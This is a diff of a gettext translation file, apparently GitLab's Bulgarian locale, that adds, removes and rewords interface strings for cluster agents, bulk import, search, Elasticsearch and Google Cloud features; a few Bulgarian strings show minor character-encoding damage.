msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,12 +6563,12 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Подбиране"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr "Създаване на нова папка"
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr "Етикет"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr "Ñи Ñъздадете личен жетон за доÑтъп"
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "ЧаÑова зона за „Cron“"
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr "Име на папката"
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
